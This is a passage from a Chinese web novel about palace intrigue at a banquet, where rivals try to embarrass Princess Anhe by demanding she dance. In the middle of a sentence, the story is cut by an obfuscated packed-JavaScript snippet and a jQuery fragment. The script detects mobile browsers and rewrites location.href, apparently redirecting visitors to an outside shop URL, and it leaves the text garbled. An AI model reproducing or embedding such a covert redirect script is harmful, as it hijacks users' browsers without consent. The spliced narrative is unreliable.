眼下,殿内风头最大的就是南宫翎月这边,还有柳贵妃那边,而皇后娘娘那边,基本上女眷们轮流敬完酒之后就冷清下来。
柳贵妃面若桃花,一身华服,笑着跟周围的女眷说话,气度和风范不失皇后娘娘,难怪一直倍受皇帝宠爱。
皇后看着乌泱泱一片的女眷,都在忙着去巴结别人,她心里很不痛快。
她咬了咬后槽牙,“今天光吃喝也缺点意思,不如本宫出点彩头,各位小姐选择自己擅长的技艺比拼,最受欢迎的胜出如何?”
此建议得到众人一致认可。
首先自荐上来表演的是孙家女儿,大概十五岁出头,她借来乐师的琴,弹了一首高山流水,曲终就引来不少人夸赞。
接下来是李家女儿,当场作画,画了一副画眉鸟觅食图,鸟儿扑腾着翅膀,嘴里叼着米粒,看起来栩栩如生,众人惊呼丹青妙手。
越来越多的小姐们自荐展示才艺,争取在皇后和贵妃面前博个熟脸或是结上姻亲,一时间殿内百花齐放。
一曲结束,宫殿角落坐着一位夫人,扬声说话:“听说安和郡主舞姿曼妙,灵动飘逸,不知今日妾身能否有幸见到?”
众人才注意到说话的夫人,是沈流疏的妻子王氏,旁边还坐着一位美丽的女子。宴会位置的安排都是根据官位品阶来安排,沈流疏今年连升几级,当上大理寺少卿,才有了参加宫宴的资格,但对于其他功勋权贵,王氏也只能被安排在角落。
没有王氏的出声,南宫翎月还不知晓南宫晓岚竟然也来了。难怪今年不求着带
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16911422|192464||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
她进宫,原来是有新的入场券,看来沈素微刚利用完镇国侯府,现在又动用起娘家的势力,为了女儿真是费尽心思。
南宫晓岚笑着说:“郡主的舞姿只应天上有,臣女有幸见过一次,终身难忘。”
闻言,在场众人顿时看向南宫翎月,期待她一展舞姿,看看到底是否配得上惊为天人这个词。
安佳怡见状,不知不觉攥紧了手帕。女儿根本就不会跳舞,南宫晓岚这样说,明摆着就是让女儿出丑。
果然撕破脸后,西院有了新靠山,连装的功夫都省去了。
南宫翎月自嘲地笑了笑,她不记得曾跳舞给南宫晓岚看,更不记得她有学过舞蹈。
南宫晓岚这是给她挖坑跳,只不过这坑挖得过浅了,镇国侯府中随便一个人都能戳穿她的谎言。她要是坚持自证,南宫晓岚必定背负一个欺骗皇后娘娘的罪名。
不过,她倒要看看跟她一起长大的大姐是多么缺心眼。
柳贵妃斜睨南宫翎月一眼,“安和,还不准备出来献上一舞?”
语气尽是鄙弃,没有了昔日拉着南宫翎月聊天时的亲和,眼神也是刺骨的冷漠,想来是她多次拒了二皇子,当母亲的自然对她有气。
不等南宫翎月回话,皇后也插了一嘴:“本宫听说,安和多才多艺,承昀也十分喜欢歌舞,真是天造地设的一对,日后嫁入王府,承昀兴许就不愿意给本宫看了。”
“这样,无论是唱歌还是跳舞,还是弹琴等,你只要选择其中一样给大家表演一次,就算你